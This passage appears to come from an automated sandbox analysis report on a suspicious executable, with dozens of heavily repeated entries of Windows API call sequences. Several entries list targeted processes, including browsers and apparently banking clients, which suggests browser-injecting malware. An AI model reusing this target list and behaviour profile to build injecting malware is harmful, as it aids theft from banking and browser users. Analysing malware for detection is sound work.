,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe6_2_00B21900
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B13610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B13610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B13610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026B78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe9_2_026B1900
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex9_2_026A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022D78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022D78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex13_2_022D78A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,G